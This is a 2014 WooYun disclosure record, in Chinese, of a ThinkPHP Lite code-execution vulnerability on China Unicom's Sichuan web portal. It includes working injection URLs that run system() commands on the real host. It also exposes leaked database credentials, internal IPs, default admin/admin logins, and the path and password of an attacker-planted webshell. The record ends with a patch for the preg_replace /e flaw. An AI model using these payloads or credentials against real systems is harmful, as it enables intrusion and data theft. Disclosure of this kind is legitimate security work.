当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059142

漏洞标题:中国联通四川省分站代码执行漏洞导致执行任何指令可上传shell

相关厂商:中国联通

漏洞作者: 路人甲

提交时间:2014-05-02 12:49

修复时间:2014-06-16 12:50

公开时间:2014-06-16 12:50

漏洞类型:命令执行

危害等级:高

自评Rank:16

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-02: 细节已通知厂商并且等待厂商处理中
2014-05-07: 厂商已经确认,细节仅向厂商公开
2014-05-17: 细节向核心白帽子及相关领域专家公开
2014-05-27: 细节向普通白帽子公开
2014-06-06: 细节向实习白帽子公开
2014-06-16: 细节向公众公开

简要描述:

WO门户四川省分站代码执行漏洞导致执行任何指令可以上传shell

详细说明:

Thinkphp Lite 代码执行漏洞所导致可以执行任何指令.已经被人入侵放上shell了,貌似还没挂马.
例如:
查看phpinfo信息
http://sc.wo.com.cn/Index/index.php/module/aciton/param1/$%7B@phpinfo()%7D
查看当期目录
http://sc.wo.com.cn/Index/index.php/module/action/param1/%7B$%7Bsystem($_GET['x'])%7D%7D?x=ls%20-al
查看IP信息
http://sc.wo.com.cn/Index/index.php/module/action/param1/%7B$%7Bsystem($_GET['x'])%7D%7D?x=ifconfig
是内网机器,还是vm的虚拟机还算安全,普通用户运行apache还算有安全意识.
数据库密码一堆全暴露了.因为有50.50自动rsync同步web目录,所以webshell很快就被覆盖掉.
/usr/bin/rsync -azvr --progress --delete --password-file=/etc/rsync.ps delochi_rsync@192.168.50.50::backup /home/wwwroot/htdocs/
'DB_HOST'=>'192.168.50.31,192.168.50.32,192.168.50.33',
//'DB_NAME'=>'uni_cms',
'DB_NAME'=>'mini',
'DB_USER'=>'miniuser',
'DB_PWD'=>'mini#!#@##',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'mu_',
'DB_CHARSET'=>'gbk',
'DB_RW_SEPARATE'=>true, //读写分离在读写分离的情况下,第一个数据库配置是主服务器的配置信息,负责写入数据,其它的都是从数据库的配置信息,负责读取数据,数量不限制。每次连接从服务器并且进行读取操作的时候,系统会随机进行在从服务器中选择。
'DB_DEPLOY_TYPE' => 1, //开始主从服务mysql

漏洞证明:

弱口令:
http://sc.wo.com.cn/yysd/admin.php
admin/admin
http://sc.wo.com.cn/qidian/Admin
admin/admin
已经有前辈上传了webshell,可以直接查看系统任何信息和数据库:
http://sc.wo.com.cn/include/dede.inc.php
密码为1qa
详细可见下图
应用目录

1.jpg


服务器IP

2.jpg


用户ID

3.jpg


数据库里的某管理员

4.jpg


5.jpg


后台登陆.

6.jpg


7.jpg


8.jpg


修复方案:

升级程序,官方已经发布补丁:https://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838或者直接修改源码:/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php125行:$res = preg_replace(\'@(w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']="\\\\2";\', implode($depr,$paths));修改为$res = preg_replace(\'@(w+)\'.$depr.\'([^\'.$depr.\'\\/]+)@e\', \'$var[\\\'\\\\1\\\']=\\\'\\\\2\\\';\', implode($depr,$paths));将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-05-07 11:58

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给四川分中心,由四川分中心协调当地基础电信企业处置。

最新状态:

暂无